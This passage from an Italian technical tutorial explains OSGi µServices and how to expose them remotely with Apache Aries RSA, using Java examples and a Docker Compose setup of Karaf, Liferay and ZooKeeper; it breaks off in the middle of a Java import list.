La figura a seguire mostra un esempio di applicazione modulare OSGi in esecuzione all'interno di un container OSGi Apache Karaf dov'è evidente la separazione nei tre bundle: API, Service (impl) e Consumer (client).

Figura 3 - Esempio di un'applicazione modulare OSGi che segue il pattern OSGi Service Pattern

Il Source Code 1 mostra invece il MANIFEST.MF contenuto all'interno del bundle delle API dov'è possibile vedere la direttiva Export-Package che esprime il package che sarà esportato (quindi visibile all'esterno) e la versione specifica.

Manifest-Version: 1.0
Bnd-LastModified: 1595983877560
Bundle-Description: Aries Remote Service Admin Examples - Raspberry Pi API
Bundle-ManifestVersion: 2
Bundle-Name: Aries Remote Service Admin Examples - Raspberry Pi API
Bundle-SymbolicName: it.smc.techblog.apache.aries.rsa.examples.raspberrypi.api
Bundle-Version: 1.0.0.202007290051
Created-By: 1.8.0_181 (Oracle Corporation)
Export-Package: it.smc.techblog.apache.aries.rsa.examples.raspberrypi.api;version="1.0.0"
Require-Capability: osgi.ee;filter:="(&(osgi.ee=JavaSE)(version=1.8))"
Tool: Bnd-4.2.0.201903051501

Source Code 1 - Manifest del bundle API con evidenza della direttiva Export-Package

I tre sorgenti Java a seguire, mostrano rispettivamente:

la definizione dell'interfaccia (bundle API);
l'implementazione del servizio la cui interfaccia è stata definita dal bundle API (bundle Impl o Service);
uso o consumo del servizio (bundle Client o Consumer).

package it.smc.techblog.apache.aries.rsa.examples.whoiam.api;

/**
 * @author Antonio Musarra
 */
public interface WhoIamService {
    public String whoiam();
}

Source Code 2 - Definizione dell'interfaccia per il servizio WhoIamService

package it.smc.techblog.apache.aries.rsa.examples.whoiam.service;

import it.smc.techblog.apache.aries.rsa.examples.whoiam.api.WhoIamService;
...

/**
 * @author Antonio Musarra
 */
@Component(immediate=true)
public class WhoIamServiceImpl implements WhoIamService {

  @Override
  public String whoiam() {
    Bundle bundle = _bc.getBundle();

    String hostAddress = "NA";

    try {
      hostAddress = InetAddress.getLocalHost().getHostAddress();
    }
    catch (UnknownHostException uhe) {
      _log.log(_log.LOG_ERROR, uhe.getMessage());
    }

    String response =
      "Who I am : {Bundle Id: %s, Bundle Name: %s, Bundle Version: %s, Framework Id: %s, HostAddress: %s}";

    return String.format(
      response, bundle.getBundleId(), bundle.getHeaders().get(
        Constants.BUNDLE_NAME), bundle.getVersion(),
      _bc.getProperty(Constants.FRAMEWORK_UUID), hostAddress
    );
  }

  @Activate
  protected void activate(BundleContext bundleContext) {
    _bc = bundleContext;
  }

  private BundleContext _bc;

  @Reference
  private LogService _log;
}

Source Code 3 - Implementazione dell'interfaccia WhoIamService

package it.smc.techblog.apache.aries.rsa.examples.whoiam.consumer;

import it.smc.techblog.apache.aries.rsa.examples.whoiam.api.WhoIamService;
...

/**
 * @author Antonio Musarra
 */
@Component(immediate=true)
public class WhoIamConsumer {

    WhoIamService _whoIamService;

    @Activate
    public void activate() {
        System.out.println("Sending to Who I am service");
        System.out.println(_whoIamService.whoiam());
    }

    @Reference
    public void setWhoIamService(WhoIamService whoIamService) {
        this._whoIamService = whoIamService;
    }
}

Source Code 4 - Uso del servizio WhoIamService

I µServices che abbiamo visto fino a questo momento, in maniera molto sintetica e direi anche velocemente, sono in-VM, ovvero, l'intero processo funziona all'interno di una singola JVM con un sovraccarico praticamente prossimo allo zero. Non è richiesto nessun proxy, quindi alla fine una chiamata a servizio è solo una chiamata diretta al metodo. In questo modello, una buona pratica impone di far fare una cosa sola al servizio implementato, in questo modo i servizi sono facili da sostituire e facili da riutilizzare.

Adesso è tempo della fatidica domanda. È possibile distribuire i µServices su più container OSGi mantenendo lo stesso pattern (vedi Figura 2)? Certamente! Il come lo vedremo più avanti.

2. Microservices visti in forma OSGi

Si può trovare una diversa definizione di Microservices, ma tutti riconducono al concetto di uno stile architetturale che favorisca lo sviluppo di sistemi loose-coupling dove quindi i componenti abbiamo un basso livello di accoppiamento, siano distribuibili in modo indipendente, siano in grado di comunicare attraverso protocolli leggeri e siano testabili e scalabili in modo indipendente.

Ciò implica che i Microservices abbraccino la modularità, in tal senso OSGi è il framework orientato fin dalla nascita ai µServices in VM. Per essere più precisi, la tabella a seguire mostra come i diversi concetti espressi dai Microservices sono associati al mondo OSGi.

Capacità	Funzionalità OSGi abilitante
Configuration Management	OSGi Config Admin definito nelle specifiche OSGi Compendium
Service Discovery	OSGi Service Registry definito nelle specifiche OSGi Core
Dynamic Routing	Il routing dinamico tra servizi (in moduli potenzialmente diversi) può essere stabilito mediante filtri OSGi che consentono il recupero di un riferimento di servizio utilizzando una sintassi simile a LDAP (RFC-4515) basata sulle proprietà del servizio
API Interface	La specifica OSGi Remote Services definisce un meccanismo per l'esposizione dei servizi OSGi al mondo esterno (fornendo effettivamente un meccanismo per la definizione di un'API pubblica del modulo)
Security	Alcune funzionalità (come il controllo delle autorizzazioni) sono fornite da Permission Admin e Conditional Permission Admin definiti dalla specifica OSGi. Ulteriori funzionalità di sicurezza sono fornite da altre specifiche come per esempio la User Admin Service
Centralized Logging	Può essere ottenuto tramite le specifiche del Log Service di OSGi
Packaging	I bundle OSGi sono distribuiti come artefatti JAR, pronti quindi anche per il deployment in ambienti che prevedono l'uso di container
Deployment	Sia dalla console OSGi, dal file system (hot deploy) o tramite uno strumento/API dedicato (specifico per il runtime OSGi)

Tabella 1 - Associazione tra capacità dei Microservices è funzionalità offerte dal framework OSGi

Spostandoci fuori dai confini dell'ambiente OSGi, entrano in gioco delle sfide interessanti che includono ovviamente considerazioni circa il bilanciamento del carico (load balancing), ridimensionamento automatico (auto-scaling), resilienza, tolleranza ai guasti (fault tolerance) e back-pressure per citarne alcuni.

Tutti questi aspetti possono essere abilitati tramite le specifiche Remote Services e Remote Service Admin definite dalla specifica OSGi Compendium.

In particolare le specifiche Remote Service Admin definiscono un agente di gestione plugable chiamato Topology Manager in grado di soddisfare i diversi concetti menzionati che caratterizzano l'interazione tra i servizi OSGi remoti (effettivamente il canale di comunicazione tra i diversi container OSGi che formano l'insieme dei Microservices).

I framework più noti che forniscono un'implementazione delle due specifiche OSGi che riguardano i Remote Services, sono:

Apache CXF Distributed OSGi che consente di:
1. offrire e consumare servizi SOAP e basati su REST. Inoltre, l'uso dei Declarative Services è il modo più semplice per interagire con tali servizi;
2. comunicare in modo trasparente tra i container OSGi.
Apache Aries RSA (Remote Service Admin);
Eclipse Communication Framework (ECF)

Nel corso di quest'articolo faremo riferimento all'implementazione Apache Aries RSA (Remote Service Admin), perché a mio avviso è quella più semplice e flessibile da usare, nonché quella più diffusa.

Dopo aver visto quali sono le specifiche che ci abilitano a distribuire i bundle OSGi e quindi i µServices ad uscire fuori dai confini del proprio container, è arrivato il momento di presentare un possibile scenario scendendo sul molto pratico.

3. Uno scenario d'esempio di µServices Remoti

Ipotizziamo uno scenario in cui abbiamo quattro diversi container OSGi, di cui due offrono esclusivamente servizi, assumono quindi il ruolo di service provider, uno offre servizi e assume anche il ruolo di client o consumer e per finire, un ultimo che ha esclusivamente il ruolo di consumer. Su due dei tre container OSGi che agiranno da service provider, installeremo lo stesso servizio.

Volendo fare quindi la lista della spesa, dobbiamo sviluppare due classici progetti in stile OSGi.

Uno che contenga tre bundle: API, Service e Consumer per il servizio che chiameremo Who I am.
Uno che contenga tre bundle: API, Service e Consumer per il servizio che chiameremo Raspberry Pi.

La tabella a seguire mostra il dettaglio per servizio e di quali saranno i bundle OSGi da sviluppare.

Servizio	Bundle Name	Descrizione
Who I am Service	WhoIam API	Bundle che definisce tramite l'interfaccia Java il contratto del servizio Who I am. Il bundle esporta il package dell'interfaccia (vedi Source Code 2).
	WhoIam Service	Bundle che implementa l'interfaccia del servizio Who I am. Il bundle importa il package dell'interfaccia (vedi Source Code 3).
	WhoIam Consumer	Bundle che consuma il servizio Who I am. Il riferimento al servizio è ottenuto in modo trasparente dal Service Registry. Il bundle importa il package dell'interfaccia (vedi Source Code 4).
Raspberry Pi Service	Raspberry Pi API	Bundle che definisce tramite l'interfaccia Java il contratto del servizio Raspberry Pi. Il bundle esporta il package dell'interfaccia.
	Raspberry Pi Service	Bundle che implementa l'interfaccia del servizio Raspberry Pi. Il bundle importa il package dell'interfaccia.
	Raspberry Pi Consumer	Bundle che consuma il servizio Raspberry Pi. Il riferimento al servizio è ottenuto in modo trasparente dal Service Registry. Il bundle importa il package dell'interfaccia.

Tabella 2 - Bundle OSGi che implementeranno lo scenario di esempio per µServices Remoti

Il diagramma a seguire mostra lo scenario che andremo a implementare utilizzando un'architettura distribuita a µServices restando nel nostro contesto OSGi. Per coloro che sono ormai avvezzi a sviluppare utilizzando il framework OSGi, apprezzeranno il fatto che alla fine non cambierà nulla nel modo di scrivere codice.

Dal diagramma è possibile notare che abbiamo a disposizione quattro OSGi Container di cui, uno è all'interno di un'istanza di Liferay Portal Platform e il resto dei tre sono tutte istanze di Apache Karaf. Al fine di rendere le cose più interessanti, ho previsto volutamente per lo scenario l'introduzione di Liferay e di un'istanza Apache Karaf in esecuzione sul Raspberry Pi.

Figura 4 - Scenario d'esempio di µServices Remoti

Dal diagramma è evidente anche la distribuzione dei bundle (indicati in Tabella 2) sui quattro container OSGi. Su Liferay Portal abbiamo i bundle che consentiranno di consumare il servizio Who I am e Raspberry Pi. Su due container Apache Karaf abbiamo i bundle che consentiranno di fornire il servizio Who I am, e su uno dei due container i bundle che consentiranno di consumare il servizio Raspberry Pi. Sul terzo ed ultimo container Apache Karaf abbiamo i bundle che forniranno il servizio Raspberry Pi.

Adesso che abbiamo chiaro in mente quale sarà il nostro scenario, dobbiamo capire come abilitare i container OSGi che abbiamo a disposizione affinché siano in grado di comunicare tra loro.

4. Apache Aries RSA (Remote Service Admin)

La specifica OSGi R7 Compendium ha due sezioni relative agli OSGi Remote Services: 100 Remote Services (RS) e 122 Remote Service Admin Service Specification (RSA). Queste specifiche, tuttavia, sono destinate principalmente a chi implementa RS/RSA, piuttosto che agli sviluppatori.

Nel corso dell'articolo ho fatto sempre riferimento alla release R7 delle specifiche OSGi, vorrei però ricordare che le specifiche per gli OSGi Remote Services sono state introdotte in OSGi Service Platform Enterprise Specification, Release 4, Version 4.2.

Ricapitolando. I servizi OSGi sono semplicemente oggetti Java che espongono un certo numero di interfacce Java. Le istanze sono registrate dinamicamente in base al nome dell'interfaccia insieme alle proprietà tramite il Service Registry. Come descritto nelle specifiche, i servizi OSGi presentano numerosi vantaggi, tra cui un supporto per la dinamica, la sicurezza, una netta separazione tra contratto di servizio e implementazione, Semantic Versioning e altri. Esistono tre parti in un'istanza del servizio OSGi:

una o più interfacce di servizio (interfaccia java);
un'implementazione di interfacce di servizio;
un consumatore del servizio (tramite l'interfaccia di servizio).

OSGi Remote Services sta semplicemente estendendo il Service Registry per consentire l'accesso ai servizi OSGi da fuori processo ... ovvero per l'accesso remoto.

In che cosa differisce dai servizi remoti non OSGi come HTTP/REST? In primo luogo, i servizi remoti OSGi hanno accesso a tutte le proprietà dei servizi OSGi ... ad esempio dinamica, sicurezza, controllo delle versioni, separazione dei contratti dall'implementazione, etc., nonché pieno supporto per i servizi dichiarativi o Declarative Services e altri injection framework.

Un Distribution Provider può sfruttare il loose-coupling tra i bundle per esportare un servizio registrato creando un endpoint. Viceversa, il Distribution Provider può creare un proxy che accede a un endpoint e quindi registra questo proxy come servizio importato. Un framework può contenere contemporaneamente più Distribution Provider, ciascuno dei quali importa ed esporta in modo indipendente.

Un endpoint è un meccanismo di accesso alle comunicazioni verso un servizio in un altro framework, un servizio (web), un altro processo o una coda, etc., che richiede un protocollo per le comunicazioni. La mappatura tra servizi ed endpoint nonché le loro caratteristiche di comunicazione è chiamata topologia.

Figura 5 - Architettura dei Remote Services

Il progetto Apache Aries Remote Service Admin (RSA) consente di utilizzare in modo trasparente i servizi OSGi per la comunicazione remota. I servizi OSGi possono essere contrassegnati per l'esportazione aggiungendo una proprietà del servizio service.exported.interfaces=*. Varie altre proprietà possono essere utilizzate per personalizzare il modo in cui il servizio deve essere esposto.

La figura a seguire mostra l'architettura di Apache Aries Remote Service Admin (RSA) che se notate riporta i componenti descritti dalle specifiche OSGi Remote Service (RS e RSA). L' Endpoint descrive un servizio utilizzando le interfacce di servizio, l'URL e tutte le altre proprietà necessarie per importare correttamente il servizio remoto. L'Endpoint Listener è un servizio che deve essere avvisato quando ci sono cambiamenti sugli endpoint remoti (descritti dai filtri OSGi) sono registrati o de-registrati.

Figura 6 - Architettura di Apache Aries Remote Service Admin (RSA)

Il Topology Manager per impostazione predefinita espone tutti i servizi locali che sono opportunamente contrassegnati per l'esportazione e importa tutti i servizi interessati con gli endpoint remoti corrispondenti. Il Topology Manager può anche aggiungere proprietà con lo scopo di modificare il modo in cui i servizi sono esposti. Per i servizi da esporre chiama il Remote Service Admin, poi quest'ultimo esegue l'esportazione effettiva, successivamente notifica agli endpoint listener il nuovo endpoint. Il Topology Manager ascolta le richieste di servizio da parte dei consumer e crea gli endpoint listener.

Il Topology Manager è il posto migliore per implementare le regole di governance al livello di sistema. Alcuni esempi di cosa si può fare:

proteggere gli endpoint remoti con SSL/TLS, servizi di autenticazione e audit;
esportazione dei servizi OSGi con annotazioni per JAX-WS e JAX-RS anche se non appositamente contrassegnati per l'esportazione.

Per il ruolo del Topology Manager, questo non implementa direttamente queste caratteristiche ma crea tutte le chiamate necessarie a un Remote Service Admin.

Il Remote Service Admin viene chiamato dal Topology Manager per esporre i servizi locali come endpoint remoti e creare servizi proxy locali come client per endpoint remoti. Apache RSA ha un SPI (Service Provider Interface), il Distribution Provider che consente di creare facilmente nuovi meccanismi di trasporto e di serializzazione affinché i servizi OSGi siano disponibili al di fuori del container. Il diagramma a seguire mostra appunto il ruolo del Distribution Provider.

Figura 7 - Ruolo del Distribution Provider

Gli attuali provider supportati da Apache Aries sono:

Apache CXF Distributed OSGi
- utilizza Apache CXF per il trasporto;
- gli endpoint di servizio possono essere consumati anche da software != da Java grazie al supporto degli standard JAX-WS e JAX-WS.
TCP
- serializzazione Java su TCP (una porta per servizio);
- pochissime dipendenze;
- semplice per implementare il proprio meccanismo di trasporto.
Fastbin
- serializzazione Java Protocol Buffers (o Protobuf) ottimizzata su TCP tramite NIO (Non-blocking I/O);
- multiplexing su un'unica porta;
- gestisce in modo trasparente InputStreams e OutStreams nei servizi remoti;
- chiamate sincrone e asincrone supportate.

Il Discovery utilizza gli endpoint listener per ascoltare gli endpoint locali e li pubblica per gli altri container OSGi. Ascolta anche gli endpoint remoti e notifica agli endpoint listener la loro presenza. Le attuali implementazioni supportate da Apache RSA sono:

Local Discovery mediante l'uso di descrittori XML;
Discovery basato di Apache Zookeeper.

Per l'implementazione del nostro scenario (mostrato in Figura 4) utilizzeremo il Distribution Provider TCP e Apache ZooKeeper per il Discovery. Ci siamo!

5. Implementazione dello scenario µServices Remoti

Mi rendo conto che per alcuni di voi arrivare fino a qui sia stata dura, ma ci siamo, è arrivata la parte davvero molto ma molto pratica.

Dallo schema mostrato in Figura 4 qualcuno di voi avrà immaginato lo scenario di deployment, ebbene si: container Docker e SBC (Single Board Computer) Raspberry Pi.

5.1 Configurazione ambiente di deployment

Al fine di favorire tutti voi per replicare lo scenario di Figura 4, non c'è niente di meglio che mettere su i servizi necessari utilizzando docker compose. Tramite il docker compose andremo a configurare i seguenti servizi.

Due servizi Apache Karaf (versione 4.2.7)
Un servizio Liferay Portal Community Edition (versione 7.3 GA4)
Un servizio Apache ZooKeeper (versione 3.6.1)

A seguire è mostrato il contenuto del file docker-compose.yaml al cui interno sono definiti i dettagli di configurazione dei servizi di cui sopra. Tutte le immagini dei servizi definiti, sono disponibili sugli account ufficiali Docker Hub dei rispettivi proprietari.

# Docker Compose file for OSGi µServices demo
version: "3.3"
services:
  zookeeper-instance:
    image: zookeeper:3.6.1
    restart: always
    hostname: zookeeper-instance
    ports:
      - 2181:2181
      - 9080:8080
    healthcheck:
      test:
        [
          "CMD-SHELL",
          "wget http://zookeeper-instance:8080/commands && echo 'OK'",
        ]
      interval: 5s
      timeout: 2s
      retries: 3
  karaf-instance-1:
    image: apache/karaf:4.2.7
    command:
      [
        "sh",
        "-c",
        "cp /opt/apache-karaf/deploy/*.cfg /opt/apache-karaf/etc/; karaf run
        clean",
      ]
    volumes:
      - ./karaf-instance-1/deploy:/opt/apache-karaf/deploy
    ports:
      - 8101-8105:8101    
    depends_on:
      - zookeeper-instance
  karaf-instance-2:
    image: apache/karaf:4.2.7
    command:
      [
        "sh",
        "-c",
        "cp /opt/apache-karaf/deploy/*.cfg /opt/apache-karaf/etc/; karaf run
        clean",
      ]
    volumes:
      - ./karaf-instance-1/deploy:/opt/apache-karaf/deploy
    ports:
      - 8106-8110:8101    
    depends_on:
      - zookeeper-instance
  liferay-instance-1:
    image: liferay/portal:7.3.3-ga4
    volumes:
      - ./liferay-instance-1/deploy:/etc/liferay/mount/deploy
      - ./liferay-instance-1/files:/etc/liferay/mount/files
    ports:
      - 6080:8080
      - 21311:11311
      - 9201:9201
    depends_on:
      - zookeeper-instance

Source Code 5 - Docker Compose file per la definizione dei servizi necessari all'implementazione dello scenario µServices Remoti

Il contenuto del docker-compose.yml dovrebbe essere abbastanza chiaro. Un'unica nota che vorrei fare riguarda il command del servizio Apache Karaf che ho voluto sovrascrive (vedi CMD) per due motivi.

Aggiornare la configurazione dei repository Maven. In particolare il cambio di protocollo da http a https, questo per evitare l'errore HTTP/501 in caso di aggiornamento e/o installazione di nuove Apache Karaf Feature.
Aggiornare la configurazione di Apache Karaf per installare di default le features di Apache Aries RSA. In questo modo evitiamo di doverlo fare successivamente dalla console.
Avviare Apache Karaf con il parametro clean Cleaning the Karaf state.

In Console 1 è mostrata la struttura del progetto che consente di tirar su i servizi via docker compose. Ogni servizio ha la propria directory all'interno della quale sono poi contenute ulteriori directory (di deploy e configurazione) e file.

La directory deploy che fa riferimento al servizio Apache Karaf, contiene il file di configurazione per Apache ZooKeeper, Apache Karaf e i file JAR dei bundle che implementano il servizio Who I am (vedi Tabella 2).

La directory deploy che fa riferimento al servizio Liferay Portal, è la directory di hot-deploy dei bundle. Su questa directory andranno eventualmente posizionati i file JAR dei bundle API e Consumer dei servizi Who I am e Raspberry Pi.

La directory files/osgi/configs che fa riferimento al servizio Liferay Portal, contiene il file di configurazione per Apache ZooKeeper.

La directory files/osgi/modules che fa riferimento al servizio Liferay Portal contiene tutti bundle necessari per installare sul container OSGi di Liferay il supporto per Apache Aries RSA. Inoltre, all'interno della stessa directory, sono presenti i JAR dei bundle API e Consumer dei servizi Who I am e Raspberry Pi.

├── docker-compose.yml
├── karaf-instance-1
│   └── deploy
├── karaf-instance-2
│   └── deploy
└── liferay-instance-1
    ├── deploy
    └── files
        └── osgi
            ├── configs
            └── modules

Console 1 - Struttura del progetto docker-osgi-remote-services-example

5.2 Setup di Apache Aries RSA per i container OSGi

Prima di poter esporre remotamente in nostri µServices, è necessario che sia installato Apache Aries RSA su ognuno dei container OSGi, Liferay compreso.

Per fare quest'operazione ho preferito agire direttamente a livello di docker compose, in questo modo, una volta tirati su i servizi sarà tutto pronto per assaporare i µServices remoti in azione.

Ovviamente è possibile installare successivamente Apache Aries RSA, ma per quanto possibile cerchiamo sempre di sfruttare al massimo gli strumenti a nostra disposizione.

Lato Apache Karaf, l'installazione di Apache Aries RSA è davvero semplice, bastano i seguenti file di configurazione, già inclusi nel progetto docker compose (vedi directory karaf-instance-1/deploy).

org.apache.karaf.features.cfg. Tramite questo file di configurazione è stato aggiunto l'indirizzo della rsa-features e indicato quali bundle installare in fase di start-up di Apache Karaf.
org.apache.aries.rsa.discovery.zookeeper.cfg. Tramite questo file è stato configurato l'indirizzo e la porta del servizio di Discovery, che in questo caso è rappresentato da Apache ZooKeeper.

A seguire parte del contenuto del file di configurazione delle feature Apacke Karaf di nostro interesse. In particolare fare riferimento alla riga 9 e dalla riga 34 alla riga 36. In questo modo Apache Karaf è istruito affinché alla partenza installi i bundle SCR (Service Component Runtime), aries-rsa-provider-tcp e aries-rsa-discovery-zookeeper.

#
# Comma separated list of features repositories to register by default
#
featuresRepositories = \
    mvn:org.apache.karaf.features/standard/4.2.7/xml/features, \
    mvn:org.apache.karaf.features/spring/4.2.7/xml/features, \
    mvn:org.apache.karaf.features/enterprise/4.2.7/xml/features, \
    mvn:org.apache.karaf.features/framework/4.2.7/xml/features, \
    mvn:org.apache.aries.rsa/rsa-features/1.14.0/xml/features

#
# Defines if the boot features are started in asynchronous mode (in a dedicated thread)
#

featuresBoot = \
    instance/4.2.7, \
    package/4.2.7, \
    log/4.2.7, \
    ssh/4.2.7, \
    framework/4.2.7, \
    system/4.2.7, \
    eventadmin/4.2.7, \
    feature/4.2.7, \
    shell/4.2.7, \
    management/4.2.7, \
    service/4.2.7, \
    jaas/4.2.7, \
    deployer/4.2.7, \
    diagnostic/4.2.7, \
    wrap/2.6.1, \
    bundle/4.2.7, \
    config/4.2.7, \
    kar/4.2.7, \
    scr/4.2.7, \
    aries-rsa-provider-tcp/1.14.0, \
    aries-rsa-discovery-zookeeper/1.14.0

Source Code 6 - File di configurazione org.apache.karaf.features.cfg

Tramite le due property mostrate a seguire, sono impostati l'hostname e la porta del servizio di Apache ZooKeeper (vedi definizione del servizio zookeeper-instance sul file del docker compose).

zookeeper.host=zookeeper-instance
zookeeper.port=2181

Source Code 7 - File di configurazione org.apache.aries.rsa.discovery.zookeeper.cfg

Lato Liferay Portal, installare il supporto per Apache Aries RSA è un pochino più noioso. Quello che bisogna fare è scaricare i bundle di Apache Aries RSA e Apache ZooKeeper dal repository Maven e dal sito di Apache ZooKeeper, successivamente metterli all'interno della directory di hot-deploy ($LIFERAY_HOME/deploy) per l'installazione.

Il file di configurazione org.apache.aries.rsa.discovery.zookeeper.cfg per il servizio di Discovery va invece posizionato all'interno della directory $LIFERAY_HOME/osgi/configs.

Grazie al docker compose non dovrete fare nulla di tutto ciò, i servizi partiranno già configurati. Quella mostrata a seguire è la struttura del progetto docker compose, che consente di tirar su tutti i container OSGi già configurati e pronti all'uso, con installati anche i bundle OSGi dei progetti Who I am e Raspberry Pi distribuiti secondo il diagramma di Figura 4.

├── docker-compose.yml
├── karaf-instance-1
│   └── deploy
│       ├── it.smc.techblog.apache.aries.rsa.examples.whoiam.api-1.0.0-SNAPSHOT.jar
│       ├── it.smc.techblog.apache.aries.rsa.examples.whoiam.service-1.0.0-SNAPSHOT.jar
│       ├── org.apache.aries.rsa.discovery.zookeeper.cfg
│       ├── org.apache.karaf.features.cfg
│       └── org.ops4j.pax.url.mvn.cfg
├── karaf-instance-2
│   └── deploy
│       ├── it.smc.techblog.apache.aries.rsa.examples.whoiam.api-1.0.0-SNAPSHOT.jar
│       ├── it.smc.techblog.apache.aries.rsa.examples.whoiam.service-1.0.0-SNAPSHOT.jar
│       ├── it.smc.techblog.apache.aries.rsa.examples.raspberrypi.api-1.0.0-SNAPSHOT.jar
│       ├── it.smc.techblog.apache.aries.rsa.examples.raspberrypi.consumer-1.0.0-SNAPSHOT.jar
│       ├── org.apache.aries.rsa.discovery.zookeeper.cfg
│       ├── org.apache.karaf.features.cfg
│       └── org.ops4j.pax.url.mvn.cfg
└── liferay-instance-1
    ├── deploy
    └── files
        └── osgi
            ├── configs
            │   └── org.apache.aries.rsa.discovery.zookeeper.cfg
            └── modules
                ├── it.smc.techblog.apache.aries.rsa.examples.raspberrypi.api-1.0.0-SNAPSHOT.jar
                ├── it.smc.techblog.apache.aries.rsa.examples.raspberrypi.consumer-1.0.0-SNAPSHOT.jar
                ├── it.smc.techblog.apache.aries.rsa.examples.whoiam.api-1.0.0-SNAPSHOT.jar
                ├── it.smc.techblog.apache.aries.rsa.examples.whoiam.consumer-1.0.0-SNAPSHOT.jar
                ├── jansi-1.18.jar
                ├── org.apache.aries.rsa.core-1.14.0.jar
                ├── org.apache.aries.rsa.discovery.command-1.14.0.jar
                ├── org.apache.aries.rsa.discovery.config-1.14.0.jar
                ├── org.apache.aries.rsa.discovery.local-1.14.0.jar
                ├── org.apache.aries.rsa.discovery.zookeeper-1.14.0.jar
                ├── org.apache.aries.rsa.eapub-1.14.0.jar
                ├── org.apache.aries.rsa.examples.echotcp.api-1.14.0.jar
                ├── org.apache.aries.rsa.examples.echotcp.consumer-1.14.0.jar
                ├── org.apache.aries.rsa.provider.tcp-1.14.0.jar
                ├── org.apache.aries.rsa.spi-1.14.0.jar
                ├── org.apache.aries.rsa.topology-manager-1.14.0.jar
                ├── org.osgi.service.remoteserviceadmin-1.1.0.jar
                └── zookeeper-3.4.14.jar

Console 2 - Struttura completa del progetto docker-osgi-remote-services-example

Per quanto riguarda invece il container OSGi Apache Karaf per il servizio Raspberry Pi, dovreste disporre un Raspberry Pi (almeno 3 Model B+), installare Apache Karaf e seguire le attività di configurazione mostrate in precedenza. L'attività d'installazione e configurazione di Apache Karaf su Raspberry Pi è davvero semplice; consiglio di leggere la guida ufficiale.

Le due figure a seguire mostrano Apache Karaf in esecuzione sul mio Raspberry Pi 3 Model B+ e la lista dei bundle di Apache Aries RSA e Apache ZooKeeper.

Figura 8 - Apache Karaf in esecuzione su Raspberry Pi 3 Model B+

Figura 9 - Bundle di Apache Aries (RSA) e Apache ZooKeeper installati sul Raspberry Pi

5.3 Start-up della soluzione via Docker Compose

Fino a questo momento credo che abbiamo visto tante belle cose interessanti. Adesso è giunta l'ora di avviare la nostra soluzione via docker compose. Gli step da fare sono veramente pochi e semplici (così come mostrato in Console 3).

Prima di avviare i servizi ed evitare d'incorrere a "strani errori", dovreste accertarvi che le risorse dedicate a Docker siano adeguate. Per questi servizi consiglio di dedicare almeno 2 CPU e 6 Gbyte di memoria.

Per quanto riguarda la versione di Docker, quella minima richiesta è la 18. Personalmente il mio ambiente è Docker Desktop con Engine versione 19.03.12 e Compose versione 1.26.2.

$ git clone https://github.com/smclab/docker-osgi-remote-services-example.git
$ cd docker-osgi-remote-services-example
$ docker-compose up

Console 3 - Comandi per il clone del repository docker-osgi-remote-services-example e start-up della soluzione

La prima volta consiglio di lanciare il docker compose non in modalità detached, così da seguire meglio lo start-up di tutta la soluzione. Per la maggior parte di voi, il primo start-up impiegherà parecchi minuti, spesi per il download delle immagini da Docker Hub.

Per accertarci che la soluzione sia salita senza alcun problema, potremmo utilizzare il comando docker-compose ps e dovremmo ottenere un risultato come quello mostrato dalla Figura 10 a seguire. In questo caso l'output del comando informa che tutti in container sono up e running.

La figura a seguire evidenzia in particolare le porte TCP delle console di amministrazione dei container OSGi, sia Liferay sia Apache Karaf. È evidenziata anche la porta TCP esportata per il servizio di Apache ZooKeeper.

La porta TCP per la Gogo Shell di Liferay è la 21311 per le rispettive istanze di Apache Karaf le porte TCP sono: 8104 e 8109.

La porta 2181 esportata per il servizio di Apache ZooKeeper è quella che sarà utilizza dai container OSGi per registrare le informazioni sui propri servizi.

Dal Docker Compose file (vedi Source Code 5), le porte di amministrazione esportate per le due istanze di Apache Karaf, sono impostate su base range, non è quindi assicurato che il numero di porta sia sempre lo stesso, potrebbe cambiare ad ogni start del servizio.

Console Session 1 - Start-up della soluzione via Docker Compose

Cliccando su Console Sessione 1, potete vedere la sessione di terminale che fa riferimento ai comandi mostrati in Console 3 per lo start-up del Docker Compose.

Figura 10 - Esecuzione del comando docker-compose ps per verificare lo stato di container dei servizi.

Facciamo ulteriori verifiche con lo scopo di accertare che Apache Aries RSA e Apache ZooKeeper più i bundle dei nostri servizi siano stati correttamente installati. Per fare questa operazione e sufficiente collegarsi alla Gogo Shell di Liferay e utilizzare il comando ls per verificare che siano presenti i rispettivi bundle e che siano nello stato Active. La stessa attività può essere condotta sulle istanze di Apache Karaf, collegandosi alla console e utilizzare il comando list per verificare che siano presenti i rispettivi bundle e che siano anch'essi nello stato Active.

Le due figure a seguire mostrano l'output dei comandi ls e list per la Gogo Shell (Liferay) e Apache Karaf. Per la connessione alla console di Apache Karaf utilizzare il comando ssh -p 8104 karaf@127.0.0.1 Specificare la porta dell'istanza a cui volersi connettere (vedi Figura 10). La password per accedere alla console di Apache Karaf è: karaf.

Figura 11 - Output del comando lb da cui è possibile vedere i bundle di Apache Aries (RSA), Apache ZooKeeper + i bundle dei servizi remoti sviluppati.

Figura 12 - Output del comando list su una delle istanze Apache Karaf da cui è possibile vedere i bundle di Apache Aries (RSA), Apache ZooKeeper + i bundle dei servizi remoti sviluppati.

6. Come rendere i µServices Remoti

Tutto ciò che rende "magico" i µServices Remoti lo abbiamo visto nel dettaglio nel capitolo 4, dov'è stata introdotta la specifica OSGi Remote Services e come Apache Aries RSA renda possibile l'esportazione delle interfacce dei servizi all'esterno del container OSGi all'interno del quale vivono.

Per chi sviluppa, cambia qualcosa? Assolutamente no, a maggior ragione per chi utilizza i Declarative Services (o DS).

Prendiamo in esame il servizio Who I am. Questo servizio è molto semplice, attraverso l'interfaccia it.smc.techblog.apache.aries.rsa.examples.whoiam.api.WhoIamService (vedi Source Code 2) è stato definito il metodo whoiam(). Questo metodo restituisce qualche informazione circa l'ambiente di runtime del servizio. L'implementazione di quest'interfaccia, per così come mostrata al Source Code 3, non sarebbe candidata per l'esportazione come servizio remoto. Per far sì che questo accada, è necessario aggiungere delle proprietà al nostro componente, così come indicato a seguire.

Tramite la proprietà service.exported.interfaces=* candidiamo il componente per essere esportato come servizio remoto, inoltre occorre specificare anche il numero di porta tramite la proprietà aries.rsa.port=. Quest'ultima configurazione è specifica per il tipo di trasporto scelto, in questo caso il TCP, così come avevo anticipato nel capitolo 4 parlando del Distribution Provider.

package it.smc.techblog.apache.aries.rsa.examples.whoiam.service;

import it.smc.techblog.apache.aries.rsa.examples.whoiam.api.WhoIamService;
import org.osgi.framework.Bundle;
import org.osgi.framework.BundleContext;
import org.osgi.framework.Constants;
import org.osgi.service.component.annotations.Activate;
import org.osgi.service.component.annotations.Component;
import org.osgi.service.component.annotations.Reference;
import org.osgi.service.log.LogService;
